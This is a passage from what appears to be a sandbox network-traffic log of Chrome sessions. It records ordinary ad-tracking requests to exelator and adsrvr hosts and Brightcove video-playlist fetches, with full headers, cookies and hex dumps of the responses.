2024-05-24 22:46:46 UTC	1101	IN	Data Raw: 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 62 31 38 64 61 64 31 32 2d 33 38 66 64 2d 34 34 64 62 2d 38 31 65 33 2d 37 31 31 61 38 63 33 30 64 32 38 66 2f 31 78 2f 73 65 67 6d 65 6e 74 33 2e 74 73 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 36 30 34 37 34 35 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 62 31 38 64 61 64 31 32 2d 33 38 66 64 2d 34 34 64 62 2d 38 31 65 33 2d 37 31 31 61 38 63 33 30 64 32 38 66 2f 2a 7e 68 6d 61 63 3d 39 37 64 63 62 62 37 30 64 63 38 61 36 38 62 36 64 65 64 38 Data Ascii: c09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment3.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/*~hmac=97dcbb70dc8a68b6ded8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.6	50586	34.254.143.3	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:46 UTC	2486	OUT	GET /load/?p=204&g=461&buid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&j=0&redir=https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fgeneric%3fttd_pid%3dexelate HTTP/1.1 Host: loadm.exelator.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EE="255938791ef4d4d26431397836a1a4e2"; ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVzmnFGUn5u6AiwU5hq02NDQfEl%252BUWb6otDgxUUpaQyLSopPBR%252B%252FlgIAVAkp1A%253D%253D"; udo="gAAAAAQAAAUyKLUv%252FWAyBL0aAIZuqkgQq1gHAKAIAHBXgOF%252FFEEdPdXnXSyA08lzVV00YsBoKmvjybd7KhiDLGw2wblfO6GPwDYTEtqnFYQ92W4Wg2EHttxwJVng0SmVAJQAlAAlz%252BC4kUOOw6zrtAqTMu9OR%252FNSQ1TJNEwbQT3TE8fJ1hyH3G11lMqaQBORZ9TAHY5D3IXtEEtElp%252BQBlO4bfs2Cx5cbg1C8T5W56NBLipHkOsschcDgheBplCQkhiI29%252F%252FAP%252BjiCcUVSuvOYz4f4l%252FeXl5eQL%252FD2DBu4S4%252Fd0hVseJVUs2SPCAMiLxD6JNsQyw3X0rBOCIYWxPfawolYRBzVRt2Q7KoHKm5ug0VXb0KvPnlWVgextBZTkvzUaTfV5G02gnKZddPUgfLS7bvDnUIMeZxBhSSCiKSaWdNVcMh0G721ENIqlfZsoKSc0hyhnb1VvULFkoNUeTfI8pDlZkHkkSmylLRGoxlxjkhDbMPI1QH6hKcp3kMUNr0CQcXZVVTXm0PWxlkCirlZV1RWFbTVCJcMg9ZcnFvGGqDC6C%252BIanNeBFgHBWpvNerBF6Gs2C2zSLTGexQdmgkXNgkrsv0B7BzfroUczk1jtTMzPcRvNxGtdltrM7u1LXPs2G%252Bzxvw7xLOIZejaa9ZN5wOViJHmgS5HUgx8E5g1vGaRuMww3XdaEGbmCmw22dDvMuGp3dZdvm5%252BkD1tq6RbID3 [TRUNCATED]
2024-05-24 22:46:46 UTC	2697	IN	HTTP/1.1 302 server: nginx date: Fri, 24 May 2024 22:46:46 GMT content-type: image/gif content-length: 0 cache-control: no-cache x-powered-by: Undertow/1 set-cookie: EE="255938791ef4d4d26431397836a1a4e2"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:46 GMT; SameSite=None; Secure; set-cookie: udo="gAAAAAQAAAXgKLUv%252FWDgBPUcAIYyuEkAjaoO%252FDv9nTZbKdljnKa%252BXRi3YAMTHpAhVTWdRi49TmbyBh1cUB8jREPoZx%252Bx2SEZGv%252FJBjn02YQRSm0XYxQkCIr1OQ06T0wBpQChAKEAGVTuCgTupKwMjVJejmZHSXJNdiDoYUzSEu10Nk85PBk67wJDcNcW5XGCbq5J3pL1lPueRpPRx%252BTQHa5FvFVDRbHRmYJEe0zJ3yd%252BFj46RXcIJRRjHdAe%252BSg1R75LD29hSPAj2BUbUmILafWY9LhuvzuU%252BK%252F4N0c%252BDUi4bv9ZUPErKysrP%252BD%252FAWh8TqTVY1QU%252B0C9bgmHCB9QXpb%252FEPAqVuDtrbhCGdZWJa2q%252B5JoaQmidRreDkNwXw4t0206Mcx4Gu9k1XpVICWWLHebuCT3yHV5ahNJFVWV1MGcS5j%252BeRuM1z0Q05nWEEPSgKTM2nUIPkemKdh9KF9RrFpKiWUvq7a%252FquqSL2xvdXaD59w0tY2R5%252FYYlRvorMOsarKQbs4%252BOWqmaMDO0jxPrbax0bk9ZapHjgitqShSisW6pdlJaW7sPZqQZisWuBV2u6lgEz6YBNdIk%252FyTptxTojXXBveEeMdHJuBHhPBYBgxjzUGGGu8if95FBrzYoKAhk3vok7doIdQc0Rhom57y%252FDqoemombzRi9jKY%252BVZwBU3dEzWbLIbhd%252FkcaYpijefFZ9kx04CNHOwzFIJj5uiyHL8uexutyU0GQdIbvzHTyV8HvHyOo4PK0C0jQUdT196%252BYqlSbunCqq0Lvz2kIY%252BzeDjwovi%252FfQgVCxULEARexPqhim2qFCp2qUoxm8lEim0wvMaZYoRiZGLi9f8WAyLm%252FxVUfIC3vGXi9RhZFMOMlYThdSc4w4RB4XOsu85qJDT [TRUNCATED] set-cookie: hsk_7993="gAAAAAQAAABQKLUv%252FSBQgQIAiKRidWlkoKNoc2ukNjM1M6hkZWxpdmVyeaQ2MzUzo3ZlcgGlYm5hbWWnUzIwNEdDOaV0c2Vnc6cyOTM3NzgzpWJjb2RlzR85onRzylPH1mQ%253D"; Domain=.exelator.com; Path=/; Max-Age=0; SameSite=None; Secure; set-cookie: ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVzmnFGUn5u6AiwU5hq02NDQfEl%252BUWb6otDgxUUpaQyLSopPBR%252B%252FlgIAVAkp1A%253D%253D"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:46 GMT; SameSite=None; Secure; p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA location: https://load77.exelator.com/pixel.gif access-control-allow-credentials: true p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.6	50589	151.101.130.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:46 UTC	598	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfZGRkMGU3YjQ3NzNmNjIxNzg5NTU2MzY5ZTdkMDEzOThmNWE4NDIyMmU4ZTBiOGUyZjY4N2QyNThlMzczMGY3Ng%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:46 UTC	652	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2084 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 8620 Date: Fri, 24 May 2024 22:46:46 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890078-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590807.591302,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:46 UTC	1371	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 31 30 0a 23 45 58 54 49 4e 46 3a 31 30 2e 30 30 30 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:10#EXTINF:10.000,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc2
2024-05-24 22:46:46 UTC	713	IN	Data Raw: 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 38 65 34 31 34 38 38 2f 31 78 2f 73 65 67 6d 65 6e 74 33 2e 74 73 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 36 30 34 37 34 35 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 36 61 32 65 30 66 33 64 2d 66 66 64 62 2d 34 37 62 30 2d 62 30 32 64 2d 61 65 62 63 32 38 65 34 31 34 38 38 2f 2a 7e 68 6d 61 63 3d 62 35 31 61 37 32 64 34 64 33 61 38 66 34 64 64 Data Ascii: 033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment3.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/*~hmac=b51a72d4d3a8f4dd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.6	50593	151.101.130.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:47 UTC	598	OUT	GET /manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfYjJhM2E5MWNhNDU3NzllZWJkMDkzNjdmODkyODE5YWY0M2U0ZDg5MjZhYzZlNjMzNDIzNzUzY2I5MzIyNTIyZQ%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:47 UTC	652	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2472 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Date: Fri, 24 May 2024 22:46:47 GMT Via: 1.1 varnish Age: 8620 X-Served-By: cache-nyc-kteb1890039-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716590807.266281,VS0,VE1 X-Device-Group: desktop-chrome
2024-05-24 22:46:47 UTC	1371	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 31 30 0a 23 45 58 54 49 4e 46 3a 39 2e 39 38 35 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 62 31 38 64 61 64 31 32 2d 33 38 66 64 2d 34 34 64 62 2d 38 31 65 33 2d 37 31 31 61 38 63 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:10#EXTINF:9.985,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c
2024-05-24 22:46:47 UTC	1101	IN	Data Raw: 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 62 31 38 64 61 64 31 32 2d 33 38 66 64 2d 34 34 64 62 2d 38 31 65 33 2d 37 31 31 61 38 63 33 30 64 32 38 66 2f 31 78 2f 73 65 67 6d 65 6e 74 33 2e 74 73 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 36 30 34 37 34 35 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 63 6c 65 61 72 2f 35 32 38 39 34 34 31 36 32 39 30 30 31 2f 30 33 33 61 63 30 39 63 2d 64 61 31 30 2d 34 36 65 66 2d 62 39 33 33 2d 38 36 37 34 62 36 34 63 63 34 36 64 2f 62 31 38 64 61 64 31 32 2d 33 38 66 64 2d 34 34 64 62 2d 38 31 65 33 2d 37 31 31 61 38 63 33 30 64 32 38 66 2f 2a 7e 68 6d 61 63 3d 39 37 64 63 62 62 37 30 64 63 38 61 36 38 62 36 64 65 64 38 Data Ascii: c09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment3.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/*~hmac=97dcbb70dc8a68b6ded8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.6	50592	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:47 UTC	1373	OUT	GET /track/cmf/generic?ttd_pid=6szhitj HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUYBSgDMgsIlJDy4MOT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:47 UTC	996	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:47 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:47 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUYBSABKAMyCwiUkPLgw5P-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..; expires=Sat, 24 May 2025 22:46:47 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:47 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.6	50594	212.102.56.182	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:47 UTC	2323	OUT	GET /pixel.gif HTTP/1.1 Host: load77.exelator.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EE="255938791ef4d4d26431397836a1a4e2"; ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVzmnFGUn5u6AiwU5hq02NDQfEl%252BUWb6otDgxUUpaQyLSopPBR%252B%252FlgIAVAkp1A%253D%253D"; udo="gAAAAAQAAAXgKLUv%252FWDgBPUcAIYyuEkAjaoO%252FDv9nTZbKdljnKa%252BXRi3YAMTHpAhVTWdRi49TmbyBh1cUB8jREPoZx%252Bx2SEZGv%252FJBjn02YQRSm0XYxQkCIr1OQ06T0wBpQChAKEAGVTuCgTupKwMjVJejmZHSXJNdiDoYUzSEu10Nk85PBk67wJDcNcW5XGCbq5J3pL1lPueRpPRx%252BTQHa5FvFVDRbHRmYJEe0zJ3yd%252BFj46RXcIJRRjHdAe%252BSg1R75LD29hSPAj2BUbUmILafWY9LhuvzuU%252BK%252F4N0c%252BDUi4bv9ZUPErKysrP%252BD%252FAWh8TqTVY1QU%252B0C9bgmHCB9QXpb%252FEPAqVuDtrbhCGdZWJa2q%252B5JoaQmidRreDkNwXw4t0206Mcx4Gu9k1XpVICWWLHebuCT3yHV5ahNJFVWV1MGcS5j%252BeRuM1z0Q05nWEEPSgKTM2nUIPkemKdh9KF9RrFpKiWUvq7a%252FquqSL2xvdXaD59w0tY2R5%252FYYlRvorMOsarKQbs4%252BOWqmaMDO0jxPrbax0bk9ZapHjgitqShSisW6pdlJaW7sPZqQZisWuBV2u6lgEz6YBNdIk%252FyTptxTojXXBveEeMdHJuBHhPBYBgxjzUGGGu8if95FBrzYoKAhk3vok7doIdQc0Rhom57y%252FDqoemombzRi9jKY%252BVZwBU3dEzWbLIbhd [TRUNCATED]
2024-05-24 22:46:47 UTC	616	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:47 GMT Content-Type: image/gif Content-Length: 43 Connection: close Last-Modified: Sat, 30 Dec 2023 22:32:08 GMT x-rgw-object-type: Normal ETag: "fc94fb0c3ed8a8f909dbc7630a0987ff" x-amz-request-id: tx00000c5cc302da9b09107-0065909fa7-5134150-nyc X-77-NZT: A9RmOLQ3Nzf/gLoFACUTwjE3Nzexz9PUZsL7wAA X-77-NZT-Ray: 6d204d11c7a5943cd718516665e63b21 X-77-Cache: HIT Server: CDN77-Turbo Alt-Svc: h3=":443"; ma=86400 X-Accel-Expires: @1717252183 X-Accel-Date: 1716215383 X-Cache: HIT X-Age: 375424 X-77-POP: frankfurtDE X-77-Age: 375424 Accept-Ranges: bytes
2024-05-24 22:46:47 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.6	50598	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:48 UTC	1454	OUT	GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUYBSABKAMyCwiUkPLgw5P-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..
2024-05-24 22:46:48 UTC	1089	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:48 GMT Content-Type: text/html Content-Length: 924 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:48 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: 